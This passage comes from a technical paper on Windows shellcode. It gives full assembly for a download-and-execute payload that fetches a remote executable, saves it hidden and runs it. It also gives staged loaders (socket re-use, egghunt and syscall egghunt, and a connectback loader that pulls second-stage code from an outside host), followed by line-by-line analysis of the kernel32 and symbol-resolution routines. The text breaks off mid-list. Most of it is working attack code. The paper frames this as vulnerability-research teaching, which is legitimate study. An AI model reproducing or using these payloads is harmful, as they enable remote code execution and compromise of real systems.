It also allows for running much more complicated code in that all of the functionality available to common executables is made available by the very nature that one is downloaded and executed.

The disadvantage to this technique is that it creates a file on the local system and then executes it. As such the process will be made visible to users on the machine, given that the executable does not immediately install some mechanism to hide itself. Depending on one's purposes, this may or may not be acceptable.

The actual process involved in downloading and executing an executable is far simpler than other platforms. Microsoft has developed an API called the `Windows Internet` API. The purpose of it is to export a standard interface to accessing internet resources over protocols such as HTTP, FTP, and gopher. It also provides the programmer with the ability enumerate the cache of URLs on the person's machine.

The process involved in making use of the `Windows Internet` API starts in the same way other shellcode starts. That is, one must find `kernel32.dll` first so that the `Windows Internet` DLL, `wininet.dll`, can be mapped into process space via `LoadLibraryA`. The following symbols will be required from `kernel32.dll` for later use:

Function Name	**Hash**
LoadLibraryA	0xec0e4e8e
CreateFile	0x7c0017a5
WriteFile	0xe80a791f
CloseHandle	0x0ffd97fb
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

Once the `kernel32.dll` symbols are resolved, one should then proceed to load `wininet.dll` as previously described. The symbols that will then be required from `wininet.dll` are as follows:

Function Name	**Hash**
InternetOpenA	0x57e84429
InternetOpenUrlA	0x7e0fed49
InternetReadFile	0x5fe34b8b

With all the symbols loaded, the fun can begin. The following procedure outlines the steps involved in downloading and executing a file on both 9x and NT-based versions of Windows.

1. `Allocate an internet handle`
   The first step in the process is to allocate an internet handle. This is accomplished by making use of the `Winddows Internet` API function `InternetOpenA`. The function is prototyped as follows:

```
HINTERNET InternetOpen(
  LPCTSTR lpszAgent,
  DWORD dwAccessType,
  LPCTSTR lpszProxyName,
  LPCTSTR lpszProxyBypass,
  DWORD dwFlags
);
```

   Its purpose is to allocate an internet handle which will be passed to future `Windows Internet` API functions as a form of reference. This handle can be assigned a unique user agent as well as custom proxy information. For the purpose of this document these features will not be discussed in detail but may be useful given a specific environment.

   Given that, all of the arguments in the above prototype can simply be passed in as `NULL` or `0` which will instruct the function to use whatever sane defaults it has. If successful, the function will return an arbitrary value that should be used for later calls to some `Windows Internet` functions. The value will be non-null on success.

2. `Allocate a resource handle`
   Once an internet handle has been successfully allocated one can proceed to open a resource-associated handle. A resource-associated handle can be thought of simply as a connection to a given internet resource through whatever protocol is selected. In this case the resource will be directed at an executable on an HTTP website (Ex: http://www.site.com/test.exe). The function used to open this resource handle is `InternetOpenUrlA` and is prototyped as follows:

```
HINTERNET InternetOpenUrl(
  HINTERNET hInternet,
  LPCTSTR lpszUrl,
  LPCTSTR lpszHeaders,
  DWORD dwHeadersLength,
  DWORD dwFlags,
  DWORD_PTR dwContext
);
```

   The `hInternet` argument should be set to the value that was returned by the previous call to `InternetOpenA`. Also, the `lpszUrl` should be set to the pointer to the string that contains the URL that is to be downloaded

from. The rest of the arguments should be set to `NULL` or `0` as the defaults are fine. Upon success the return value should be non-zero and will need to be saved for later use.

3. `Create the local executable file`
   Before the actual download can begin one must first create the file that the data will be stored in. This step involves making use of the `CreateFile` function from `kernel32.dll`. For the purposes of this document the file name created should be assumed as `a.exe` but in reality can be any arbitrary name. The prototype for `CreateFile` is as follows:

```
HANDLE CreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
);
```

   This function is indeed a bit noisy with all of its arguments, though for good reason. The `lpFileName` should be set to the pointer to the string that holds `a.exe` as it will be the destination file for the download. Since the file is being downloaded one will need to open it for write access, and as such the `dwDesiredAccess` parameter should be set to `GENERIC_WRITE`. The attributes that the file should be created with are going to be `FILE_ATTRIBUTE_NORMAL` and `FILE_ATTRIBUTE_HIDDEN`. These attributes should be set as the `dwFlagsAndAttributes` argument. The last argument that needs to be set is the `dwCreationDisposition`. This flag should be set to `CREATE_ALWAYS` in order to force the file to be created again if it already exists. Now, with all the arguments required to be set known, the rest of the arguments should be set to `NULL` or `0`. If CreateFile succeeds a non-zero handle will be returned. This handle will be used for subsequent calls so it should be saved for later use.

4. `Download the executable`
   The most complicated of the phases involves the actual download process. In this step one must make use of the function `InternetReadFile` to read part of or all of the executable from the URL that was specified in `InternetOpenUrlA` and then write it to the file that was opened with `CreateFile` by way of `WriteFile`. The two new functions are prototyped as follows:

```
BOOL InternetReadFile(
  HINTERNET hFile,
```

```
  LPVOID lpBuffer,
  DWORD dwNumberOfBytesToRead,
  LPDWORD lpdwNumberOfBytesRead
);

BOOL WriteFile(
  HANDLE hFile,
  LPCVOID lpBuffer,
  DWORD nNumberOfBytesToWrite,
  LPDWORD lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);
```

This phase will likely need to be executed in a loop as it's entirely possible that the full executable may not be read even if the size is known. If the size is not known then it will definitely need to be executed in a loop.

The process itself starts by calling `InternetReadFile` with the `hFile` parameter set to the handle that was returned by `InternetOpenUrlA`. This function will read into the buffer specified in `lpBuffer` for a maximum of `dwNumberOfBytesToRead` bytes. The number of bytes actually read will be stored in `lpdwNumberOfBytesRead`. The bytes read parameter is important as one needs to know the actual number of bytes read so that the correct amount is written to the file. If the number of bytes read is ever zero or `InternetReadFile` returns `FALSE` then one should assume that the file has completed downloading[1].

Once the `InternetReadFile` call has returned and the number of bytes read is greater than zero, one should then proceed to write the data to the file. This is accomplished by using the `WriteFile` function and setting the `hFile` argument to the handle of the file that was returned from `CreateFile`. The `lpBuffer` parameter should be the same as the one that was provided to `InternetReadFile`. Finally, the `nNumberOfBytesToWrite` should be set to the value that was returned in `lpdwNumberOfBytesRead`. On success, WriteFile should return a non-zero value.

After the data has been written one should continue the loop to download the entire file. Once the file has been completely downloaded, one should use the `CloseHandle` function to close the file handle that was opened by `CreateFile`.

5. `Execute the file`
   The final step is to execute the file that has been downloaded and placed in `a.exe`. This is accomplished by making use of the `CreateProcessA` function which is prototyped as follows:

[1] In actuality, if the function returns zero then an error has occurred and the file was likely not successfully downloaded.

```
BOOL CreateProcess(
  LPCTSTR lpApplicationName,
  LPTSTR lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL bInheritHandles,
  DWORD dwCreationFlags,
  LPVOID lpEnvironment,
  LPCTSTR lpCurrentDirectory,
  LPSTARTUPINFO lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
```

The `lpCommandLine` argument should be set to the pointer to the string that holds `a.exe`. The only other required arguments are `lpStartupInfo` and `lpProcessInformation`. The `cb` attribute of `lpStartupInfo` must be initialized to the size of the structure, `0x44`. The rest of the attributes should be initialized to zero[2].

6. `Exit the parent process`
   Once the child process has been executed the parent can then exit as there is no more work to be done.

The above process describes the steps needed to download an execute a file from an HTTP URL.

The `Download/Execute` assembly:

```
download:
    jmp  initialize_url_bnc_1

// ...find_kernel32 and find_function assembly...

initialize_url_bnc_1:
    jmp  initialize_url_bnc_2
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov  [edi], eax
    add  esp, 0x08
```

[2]One side point is that one may wish for the executable to not be displayed. If this is the case, one should set the `wShowWindow` attribute to SW_HIDE and set the `dwFlags` attribute to STARTF_USESHOWWINDOW.

```
    add  edi, 0x04
    cmp  esi, ecx
    jne  resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
kernel32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
    EMIT_4_LITTLE_ENDIAN(0xa5,0x17,0x01,0x7c)
    EMIT_4_LITTLE_ENDIAN(0x1f,0x79,0x0a,0xe8)
    EMIT_4_LITTLE_ENDIAN(0xfb,0x97,0xfd,0x0f)
    EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
wininet_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x29,0x44,0xe8,0x57)
    EMIT_4_LITTLE_ENDIAN(0x49,0xed,0x0f,0x7e)
    EMIT_4_LITTLE_ENDIAN(0x8b,0x4b,0xe3,0x5f)
startup:
    pop  esi
    sub  esp, 0x7c
    mov  ebp, esp
    call find_kernel32
    mov  edx, eax
    jmp  get_absolute_address_forward
get_absolute_address_middle:
    jmp  get_absolute_address_end
get_absolute_address_forward:
    call get_absolute_address_middle
get_absolute_address_end:
    pop  eax
    jmp  initialize_url_bnc_2_skip
initialize_url_bnc_2:
    jmp  initialize_url_bnc_3
initialize_url_bnc_2_skip:
copy_download_url:
    lea  edi, [ebp + 0x40]
copy_download_url_loop:
    movsb
    cmp  byte ptr [esi - 0x01], 0xff
    jne  copy_download_url_loop
copy_download_url_finished:
    dec  edi
    not  byte ptr [edi]
resolve_kernel32_symbols:
    mov  esi, eax
    sub  esi, 0x3a
    dec  [esi + 0x06]
```

```
    lea  edi, [ebp + 0x04]
    mov  ecx, esi
    add  ecx, 0x18
    call resolve_symbols_for_dll
resolve_wininet_symbols:
    add  ecx, 0x0c
    mov  eax, 0x74656e01
    sar  eax, 0x08
    push eax
    push 0x696e6977
    mov  ebx, esp
    push ecx
    push edx
    push ebx
    call [ebp + 0x04]
    pop  edx
    pop  ecx
    mov  edx, eax
    call resolve_symbols_for_dll
internet_open:
    xor  eax, eax
    push eax
    push eax
    push eax
    push eax
    push eax
    call [ebp + 0x1c]
    mov  [ebp + 0x34], eax
internet_open_url:
    xor  eax, eax
    push eax
    push eax
    push eax
    push eax
    lea  ebx, [ebp + 0x40]
    push ebx
    push [ebp + 0x34]
    call [ebp + 0x20]
    mov  [ebp + 0x38], eax
    jmp  initialize_url_bnc_3_skip
initialize_url_bnc_3:
    jmp  initialize_url_bnc_4
initialize_url_bnc_3_skip:
create_file:
    xor  eax, eax
    mov  al, 0x65
```

```
    push eax
    push 0x78652e61
    mov  [ebp + 0x30], esp
    xor  eax, eax
    push eax
    mov  al, 0x82
    push eax
    mov  al, 0x02
    push eax
    xor  al, al
    push eax
    push eax
    mov  al, 0x40
    sal  eax, 0x18
    push eax
    push [ebp + 0x30]
    call [ebp + 0x08]
    mov  [ebp + 0x3c], eax
download_begin:
    xor  eax, eax
    mov  ax, 0x010c
    sub  esp, eax
    mov  esi, esp
download_loop:
    lea  ebx, [esi + 0x04]
    push ebx
    mov  ax, 0x0104
    push eax
    lea  eax, [esi + 0x08]
    push eax
    push [ebp + 0x38]
    call [ebp + 0x24]
    mov  eax, [esi + 0x04]
    test eax, eax
    jz   download_finished
download_write_file:
    xor  eax, eax
    push eax
    lea  eax, [esi + 0x04]
    push eax
    push [esi + 0x04]
    lea  eax, [esi + 0x08]
    push eax
    push [ebp + 0x3c]
    call [ebp + 0x0c]
    jmp  download_loop
```

```
download_finished:
    push [ebp + 0x3c]
    call [ebp + 0x10]
    xor  eax, eax
    mov  ax, 0x010c
    add  esp, eax
    jmp  initialize_url_bnc_4_skip
initialize_url_bnc_4:
    jmp  initialize_url_bnc_end
initialize_url_bnc_4_skip:
initialize_process:
    xor  ecx, ecx
    mov  cl, 0x54
    sub  esp, ecx
    mov  edi, esp
zero_structs:
    xor  eax, eax
    rep  stosb
initialize_structs:
    mov  edi, esp
    mov  byte ptr [edi], 0x44
execute_process:
    lea  esi, [edi + 0x44]
    push esi
    push edi
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push [ebp + 0x30]
    push eax
    call [ebp + 0x14]
exit_process:
    call [ebp + 0x18]
initialize_url_bnc_end:
    call startup

// ... the URL to download from followed by a \xff ...
```

The explanation of the above assembly can be found in Section 8.4.1.

Chapter 6

Staged Loading Shellcode

`Staged Loading Shellcode` is a term used to describe the process of loading shellcode in multiple stages, typically two. The first stage is to make use of small 'stub' shellcode that is only used to load the second, larger, shellcode by some arbitrary method. Some of the methods for loading the second payload are defined in the following sections.

6.1 Dynamic File Descriptor Re-use

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 239 bytes

A common problem with writing shellcode the needs to establish or make available some sort of connection mechanism is that often times the machine being exploited will either have firewall software installed or be behind a firewall. If this is the case it may be impossible to use the common mechanisms such as `Connectback` (4.1) or `Portbind` (4.2). It also may be the case that `Download/Execute` will not work if the machine is required to use an authenticated proxy to browse the web. In the worst case scenario one needs to use an alternate solution that does not involve allocating another medium of communication.

In dire circumstances such as these, or really just if the situation is best suited for it, a concept known as `Dynamic File Descriptor Re-use` can be employed to make use of an existing file descriptor for purposes other than what it was meant to be used as. As was previously established, most of the shellcode in this document is written with that mindset that it will be used for a remote

exploit. If this is the case then it must be true that the service being exploited is being exploited through some sort of issue that is triggered over the socket layer[1].

Given that the above statements are true, one may proceed by enumerating the open sockets in the context of a given process until it finds one that matches the connection the exploit was triggered by. How does one do this? There are a few ways.

The first method can actually be considered two methods. Both of them make use of the `getpeername` function found in `ws2_32.dll`, the Winsock DLL. `getpeername` allows one to determine the endpoint associated with a given socket. As such, one is able to determine what host and port a socket is correlated with on a remote machine. This is useful due to the fact that one can hardcode their exploit to either use a certain port or to use a certain host, given the circumstances, to allow for the shellcode to find the correlated file descriptor in memory.

The third method involves enumerating file descriptors by calling `recv`, found in `ws2_32.dll`, on them until a special value is read from the socket. If no data is available, or the value read does not match the special value that is expected, then the file descriptor is skipped. Once the value does match, however, it is safe to assume that the file descriptor from which the data was read is the one that is being searched for.

Once the file descriptor is found it is possible to do a number of things. The first thing one could do would be to redirect a `cmd.exe` to the file descriptor and thus have a remote shell to the machine. While this may be useful for some circumstances, it is not the focus of this section. Instead, one could use the file descriptor to read more shellcode, or what's known as `second stage shellcode` from the remote client. Once the shellcode has been read it can be jumped to and thus continuing on a new path of execution.

The re-use of the file descriptor with regards to reading `second stage shellcode` is useful in that it makes it possible to use shellcode that would otherwise not have fit (due to size constraints) as well as making it possible to use shellcode that would otherwise not have passed string filters (such as shellcode that contains nulls). The fact that the shellcode used to find the file descriptor and read from it is generally smaller than most other shellcode makes it quite lucrative when it comes to considering payloads for exploits.

Text `findfdread` assembly:

```
findfdread:
    jmp startup
```

[1] Yes, it is possible that this is not the case, such as times when a service is being exploited through a bug that is manifested only after the connection is closed for example.

```
// ...find_kernel32 and find_function assembly...

startup:
    jmp  shorten_find_function_forward
shorten_find_function_middle:
    jmp  shorten_find_function_end
shorten_find_function_forward:
    call shorten_find_function_middle
shorten_find_function_end:
    pop  esi
    sub  esi, 0x57
    call find_kernel32
    mov  edx, eax
    push 0xec0e4e8e
    push edx
    call esi
    mov  ebx, eax
load_ws2_32:
    xor  eax, eax
    mov  ax, 0x3233
    push eax
    push 0x5f327377
    push esp
    call ebx
    mov  edx, eax
load_ws2_32_syms:
    push 0x95066ef2
    push edx
    call esi
    mov  edi, eax
    push 0xe71819b6
    push edx
    call esi
    push eax
find_fd:
    sub  esp, 0x14
    mov  ebp, esp
    xor  eax, eax
    mov  al, 0x10
    lea  edx, [esp + eax]
    mov  [edx], eax
    xor  esi, esi
find_fd_loop:
    inc  esi
    push edx
```

```
    push edx
    push ebp
    push esi
    call edi
    test eax, eax
    pop  edx
    jnz  find_fd_loop
find_fd_check_port:
    cmp  word ptr [esp + 0x02], 0x5c11
    jne  find_fd_loop
find_fd_check_finished:
    add  esp, 0x14
    pop  edi
recv_fd:
    xor  ebx, ebx
    inc  eax
    sal  eax, 0x0d
    sub  esp, eax
    mov  ebp, esp
    push ebx
    push eax
    push ebp
    push esi
    call edi
jmp_code:
    jmp  ebp
```

The explanation of the above assembly can be found in Section 8.5.1.

6.2 Static File Descriptor Re-use

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 195 bytes

The `Static File Descriptor Re-use` strategy uses the same concepts as does the `Dynamic File Descriptor Re-use` (6.1) strategy barring the fact that it does not search for the actual file descriptor. Instead, given a set of circumstances, if it is safe for one to assume that the file descriptor will always be the same, one can then optimize out the searching portion of the code in favor of using a static one instead.

The actual code for this is exactly the same as the `Dynamic File Descriptor Re-use` code minus the portion that uses `getpeername` to search for the file

descriptor. For this reason, in the interest of brevity, the assembly has not been included.

6.3 Egghunt

Targets: NT/ 2K/ XP
Size: 71 bytes

The `egghunt` first stage loader is useful for times where one only has a limited amount of space for one's initial shellcode but has the ability to get larger shellcode somewhere else in memory. The actual memory location of the larger shellcode is not known so one cannot simply ret into it. For this reason, egghunt is useful as it is light-weight shellcode that is capable of searching all of process memory for an 'egg'. Once the egghunt shellcode has found the 'egg' in memory it can simply jump into it and begin executing the larger shellcode.

There are a few different mechanisms that can be used to search process memory. One of the methods involves installing a custom exception handler to catch when an access violation has occurred and to simply ignore it by moving past the block of code that should be executed if the memory is valid. This mechanism in theory will work on both 9X and NT based versions of Windows. However, the version of the assembly discussed in this document is only compatible with Windows NT based versions.

The `egghunt` assembly:

```
egghunt:
    jmp startup
exception_handler:
    mov   eax, [esp + 0x0c]
    lea   ebx, [eax + 0x7c]
    add   ebx, 0x3c
    add   [ebx], 0x07
    mov   eax, [esp]
    add   esp, 0x14
    push  eax
    xor   eax, eax
    ret
startup:
    mov   eax, 0x42904290
    jmp   init_exception_handler_skip
init_exception_handler_fwd:
    jmp   init_exception_handler
```

```
init_exception_handler_skip:
    call  init_exception_handler_fwd
init_exception_handler:
    pop   ecx
    sub   ecx, 0x25
    push  esp
    push  ecx
    xor   ebx, ebx
    not   ebx
    push  ebx
    xor   edi, edi
    mov   fs:[edi], esp
search_loop_begin_pre:
search_loop_start:
    xor   ecx, ecx
    mov   cl, 0x2
    push  edi
    repe  scasd
    jnz   search_loop_failed
    pop   edi
    jmp   edi
search_loop_failed:
    pop   edi
    inc   edi
    jmp   search_loop_start
```

The explanation of the above assembly can be found in Section 8.5.2.

6.4 Egghunt (syscall)

Targets: NT/ 2K/ XP
Size: 40 bytes

Earlier in this document it was stated that system calls should generally be avoided as they aren't portable and cannot be counted on. For a moment let this belief be suspended in the interest of following a line of reasoning that allows one to write a very tight first stage loader in regards to size. The initial egghunt version discussed above, while still small, is not necessarily small enough for all cases. Granted, the previously mentioned method is more portable and reliable than the one that is to be discussed, but nevertheless: **size is important**.

The purpose of this version of the egghunt code is much the same as the previous: search process memory (including potentially invalid addresses) for an 'egg'.

Once the egg is located, jmp into it. With that said, the method of achieving this goal is completely different. Instead of using a custom `Exception Handler`, the system call interface is abused in such a way that one can test for the validity of an address without crashing either the program or the operating system.

The basic concept is to abuse a system call, in this case `NtAddAtom`, that accepts as an argument an input pointer. If the kernel receives this system call with an invalid pointer it will return an error in eax of `STATUS_ACCESS_VIOLATION` (`0xC0000005`). In the event that the pointer is valid, a different error code will be returned. It is this differentiation in error codes that allows one to abuse the system call to validate an arbitrary address before it is read from in user-mode. The prototype for `NtAddAtom`[3] is as follows:

```
NTSYSAPI NTSTATUS NTAPI NtAddAtom(IN PWCHAR AtomName,
                                  OUT PRTL_ATOM Atom );
```

It's the AtomName argument that one can use to validate an arbitrary address for whether or not it can be read from.

Like the previous egghunt implementation, this implementation also requires that that egg itself span more than just four bytes as the chances of a collision with something that is not actually the egg are much higher with a four byte egg. For this reason the system call version requires that the egg appear back to back in memory with itself. As such, the memory validation code must be capable of verifying that all eight bytes of a range are valid before the comparison code attempts to check to see if the memory matches the egg.

The `egghunt_syscall` assembly:

```
egghunt_syscall:
    xor   edx, edx
    xor   eax, eax
    mov   ebx, 0x50905090
    mov   al, 0x08
loop_check_8_start_pre:
    inc   edx
loop_check_8_start:
    mov   ecx, eax
    inc   ecx
loop_check_8_cont:
    pushad
    lea   edx, [edx + ecx]
    int   0x2e
    cmp   al, 0x05
    popad
```

```
loop_check_8_valid:
    je    loop_check_8_start_pre
    loop  loop_check_8_cont
    inc   edx
is_egg_1:
    cmp   dword ptr [edx], ebx
    jne   loop_check_8_start
is_egg_2:
    cmp   dword ptr [edx + 0x04], ebx
    jne   loop_check_8_start
matched:
    jmp   edx
```

The explanation of the above assembly can be found in Section 8.5.3.

6.5 Connectback IAT

Targets: 2000 only
Size: 162 - 178 bytes

In the interest of decreasing code size of the first stage loaders, one might be compelled to employ the symbol resolution technique discussed earlier in the document that makes use of the `Import Address Table` in Portable Executables. This method allows one to eliminate the use of the standard `find_function` symbol resolution and instead use a given DLL's `Import Address Table` to extract the functions VMA. The implementation that will be discussed here is a refactoring of the implementation done by `H D Moore` in the interest of maintaining consistency.

The first step in the process involves determining the `kernel32.dll` base address by way of one of the previously mentioned mechanisms. From there, one should proceed by resolving the `LoadLibraryA` symbol. Unlike most other implementations following this path, `LoadLibraryA` will be the only symbol that is resolved via this mechanism. Once `LoadLibraryA` has been properly resolved one should proceed to load `DBMSSOCN.DLL` into process space.

The following table expresses the offsets that hold the addresses of the required `winsock` symbols that will be used. These offsets are prone to change in upcoming Service Packs.

Function Name Offset

WSASocketA	0x3074
connect	0x304c
recv	0x3054

Simply add the base address of the DLL that was loaded into process space to the above offsets and one has the absolute address of the place in memory that holds the VMA to the desired symbol. The implementation that follows uses the above functions to establish a TCP connection to an arbitrary host on a given port and then read back the second stage of the shellcode via the `recv` function. Once the second payload has been read it simply jumps into it the buffer much like other `Staged Loading Shellcode`. `WSAStartup` is excluded from the list of symbols as the context is expected to the be that of a remote exploit, thus not requiring a second call to `WSAStartup`.

One difference between the below shellcode and others that use the `find_kernel32` and `find_function` assembly is that the one below should have the functions inlined and optimized such that instead of being used in a functional context they are used in a linear context of execution. Also, instead of having `find_function` be capable of using an arbitrary hash, simply define it to search for the hash of `LoadLibraryA` as it is the only symbol that needs to be resolved from the `Export Directory Table` of `kernel32.dll`.

The `Connectback IAT` assembly:

```
// ...inline find_kernel32 and find_function assembly...
connectback_iat:
    xor  edi, edi
    push edi
    push 0x4e434f53
    push 0x534d4244
    push esp
    call eax
    mov  ebx, eax
fixup_base_address:
    mov  bh, 0x30
create_socket:
    push edi
    push edi
    push edi
    push edi
    inc  edi
    push edi
    inc  edi
    push edi
    call [ebx + 0x74]
```

```
    mov  edi, eax
connect:
    push DEFAULT_IP
    mov  eax, 0x5c110102
    dec  ah
    push eax
    mov  edx, esp
    xor  eax, eax
    mov  al, 0x10
    push eax
    push edx
    push edi
    call [ebx + 0x4c]
recv:
    inc  ah
    sub  esp, eax
    mov  ebp, esp
    xor  ecx, ecx
    push ecx
    push eax
    push ebp
    push edi
    call [ebx + 0x54]
jmp_code:
    jmp  ebp
```

The explanation of the above assembly can be found in Section 8.5.4.

Chapter 7

Conclusion

At this point it is the author's hope that the reader now has a complete understanding of the trials and tribulations involved in writing reliable, portable shellcode for Windows. This knowledge can be applied to fields such as vulnerability research, penetration testing, and many other forms of security related positions. No matter how this knowledge is used, one can sleep easier knowing that the ability to offer up a program with a protective shell is just a few short assembly lines away. . . :)

Chapter 8

Detailed Shellcode Analysis

The following sections explain the assembly from previous sections in detail.

8.1 Finding kernel32.dll

8.1.1 PEB

The following is the analysis for the `PEB` assembly:

1. `push esi`
   Preserve the esi register.
2. `xor eax, eax`
   Zero the eax register
3. `mov eax, fs:[eax+0x30]`
   Store the address of the `PEB` in eax.[1]
4. `test eax, eax`
   Bitwise compare eax with itself.
5. `js find_kernel32_9x`
   If SF is 1 then it's operating on a Windows 9x box. Otherwise, it's running on NT.[2]
6. `mov eax, [eax + 0x0c]`
   Extract the pointer to the loader data structure.

[1] eax+0x30 eliminates nulls and saves a byte at the same time.

[2] The logic here is that the address which kernel32 loads at on Windows 9x is is too large to fit in a signed integer (greater than 0x7fffffff).

7. `mov esi, [eax + 0x1c]`
   Extract the first entry in the initialization order module list.

8. `lodsd`
   Grab the next entry in the list which points to `kernel32.dll`.

9. `mov eax, [eax + 0x8]`
   Grab the module base address and store it in eax.

10. `jmp find_kernel32_finished`
    Jump to the end as `kernel32.dll` has been done

11. `mov eax, [eax + 0x34]`
    Store the pointer at offset 0x34 in eax (undocumented).

12. `lea eax, [eax + 0x7c]`
    Load the effective address at eax plus 0x7c to keep us in signed byte range in order to avoid nulls.

13. `mov eax, [eax + 0x3c]`
    Extract the base address of kernel32.dll.

14. `pop esi`
    Restore esi to its original value.

15. `ret`
    Return to the caller.

8.1.2 SEH

The following is the analysis for the `SEH` assembly:

1. `push esi`
   Preserve the esi register.

2. `push ecx`
   Preverse the ecx register.

3. `xor ecx, ecx`
   Zero ecx so that it can be used as the offset to obtain the first entry in the SEH list.

4. `mov esi, fs:[ecx]`
   Grab the first entry in the SEH list and store it in esi.

5. `not ecx`
   Flip all the bits in ecx so that it can be used in the comparison later to determine if the last exception handler has been hit.

6. `lodsd`
   Load the next entry in the SEH list and store it in eax.

7. `mov esi, eax`
   Initialize esi to the next entry in the list so that it's ready should the code need to loop again.

8. `cmp [eax], ecx`
   Compare the value at eax to see if its set to 0xffffffff. If it is, the last entry in the list has been reached and it's function pointer should be inside `kernel32.dll`.

9. `jne find_kernel32_seh_loop`
   If the values are not equal then the base address has not been found. Loop again.

10. `mov eax, [eax + 0x04]`
    If the next entry in the list was equal to 0xffffffff, one knows the end has been hit. As such one can extract the function pointer for this entry and store it in eax.

11. `dec eax`
    Decrement eax. If the previous value was aligned to a 64KB boundary, this will set us the low 16 bits of eax to 0xffff. If this is not the case it will simply decrement eax to an undetermined value.

12. `xor ax, ax`
    Zero the low 16 bits of eax to align the address on a 64KB boundary.

13. `cmp word ptr [eax], 0x5a4d`
    Check to see if the 2 byte value at eax is 'MZ'.

14. `jne find_kernel32_base_loop`
    If the values do not match, loop again and go to the next lower 64KB boundary. If they do match, drop down as the base address of `kernel32.dll` has been successfully found.

15. `pop ecx`
    Restore ecx to its original value.

16. `pop esi`
    Restore esi to its original value.

17. `ret`
    Return to the caller.

8.1.3 TOPSTACK

The following is the analysis for the `TOPSTACK` assembly:

1. `push esi`
   Preserve the esi register.
2. `xor esi, esi`
   Zero the esi register so that it can be used as a base for the index into the `fs` segment.
3. `mov esi, fs:[esi + 0x18]`
   Grab the TEB and store it in esi.
4. `lodsd`
   Use lodsd to add four to esi, the actual value doesn't matter.
5. `lodsd`
   Grab the top of the stack and store it in eax.
6. `mov eax, [eax - 0x1c]`
   Grab the pointer that's 0x1c bytes into the stack and store it in eax. This will be the address that's inside `kernel32.dll`.
7. `dec eax`
   Decrement eax. If the previous value was aligned to a 64KB boundary, this will set us the low 16 bits of eax to 0xffff. If this is not the case it will simply decrement eax to an undetermined value.
8. `xor ax, ax`
   Zero the low 16 bits of eax to align the address on a 64KB boundary.
9. `cmp word ptr [eax], 0x5a4d`
   Check to see if the 2 byte value at eax is 'MZ'.
10. `jne find_kernel32_base_loop`
    If the values do not match, loop again and go to the next lower 64KB boundary. If they do match, drop down as the base address of `kernel32.dll` has been successfully found.
11. `pop esi`
    Restore esi to its original value.
12. `ret`
    Return to the caller.

8.2 Resolving Symbol Addresses

8.2.1 Export Table Enumeration

The following is the analysis for the `find_function` assembly:

1. `pushad`
   Preserve all registers as not a single one remains un-clobbered.
2. `mov ebp, [esp + 0x24]`
   Store the base address of the module that is being loaded from in ebp.
3. `mov eax, [ebp + 0x3c]`
   Skip over the MSDOS header to the start of the PE header.
4. `mov edx, [ebp + eax + 0x78]`
   The export table is 0x78 bytes from the start of the PE header. Extract it and start the relative address in edx.
5. `add edx, ebp`
   Make the export table address absolute by adding the base address to it.
6. `mov ecx, [edx + 0x18]`
   Extract the number of exported items and store it in ecx which will be used as the counter.
7. `mov ebx, [edx + 0x20]`
   Extract the names table relative offset and store it in ebx.
8. `add ebx, ebp`
   Make the names table address absolute by adding the base address to it.
9. `jecxz find_function_finished`
   If ecx is zero then the last symbol has been checked and as such jump to the end of the function. If this condition is ever true then the requested symbol was not resolved properly.
10. `dec ecx`
    Decrement the counter.
11. `mov esi, [ebx + ecx * 4]`
    Extract the relative offset of the name associated with the current symbol and store it in esi.
12. `add esi, ebp`
    Make the address of the symbol name absolute by adding the base address to it.

13. `xor edi, edi`
    Zero edi as it will hold the hash value for the current symbols function name.

14. `xor eax, eax`
    Zero eax in order to ensure that the high order bytes are zero as this will hold the value of each character as it walks through the symbol name.

15. `cld`
    Clear the direction flag to ensure that it increments instead of decrements when using the lods* instructions. This instruction can be optimized out assuming that the environment being exploited is known to have the DF flag unset.

16. `lodsb`
    Load the byte at esi, the current symbol name, into al and increment esi.

17. `test al, al`
    Bitwise test al with itself to see if the end of the string has been reached.

18. `jz compute_hash_finished`
    If ZF is set the end of the string has been reached. Jump to the end of the hash calculation.

19. `ror edi, 0xd`
    Rotate the current value of the hash 13 bits to the right.

20. `add edi, eax`
    Add the current character of the symbol name to the hash accumulator.

21. `jmp compute_hash_again`
    Continue looping through the symbol name.

22. `cmp edi, [esp + 0x28]`
    Check to see if the computed hash matches the requested hash.

23. `jnz find_function_loop`
    If the hashes do not match, continue enumerating the exported symbol list. Otherwise, drop down and extract the VMA of the symbol.

24. `mov ebx, [edx + 0x24]`
    Extract the ordinals table relative offset and store it in ebx.

25. `add ebx, ebp`
    Make the ordinals table address absolute by adding the base address to it.

26. `mov cx, [ebx + 2 * ecx]`
    Extract the current symbols ordinal number from the ordinal table. Ordinals are two bytes in size.

27. `mov ebx, [edx + 0x1c]`
    Extract the address table relative offset and store it in ebx.

28. `add ebx, ebp`
    Make the address table address absolute by adding the base address to it.

29. `mov eax, [ebx + 4 * ecx]`
    Extract the relative function offset from its ordinal and store it in eax.

30. `add eax, ebp`
    Make the function's address absolute by adding the base address to it.

31. `mov [esp + 0x1c], eax`
    Overwrite the stack copy of the preserved eax register so that when popad is finished the appropriate return value will be set.

32. `popad`
    Restore all general-purpose registers.

33. `ret`
    Return to the caller.

8.3 Common Shellcode

8.3.1 Connectback

The following is an analysis for the `Connectback` assembly:

1. `jmp startup_bnc`
   Jump to the startup bounce point past the `find_kernel32` and `find_function` defintions.

2. `jmp startup`
   Jump to the actual startup entry point.

3. `lodsd`
   Load the current function hash stored at esi into eax.

4. `push eax`
   Push the hash to the stack as the second argument to `find_function`.

5. `push edx`
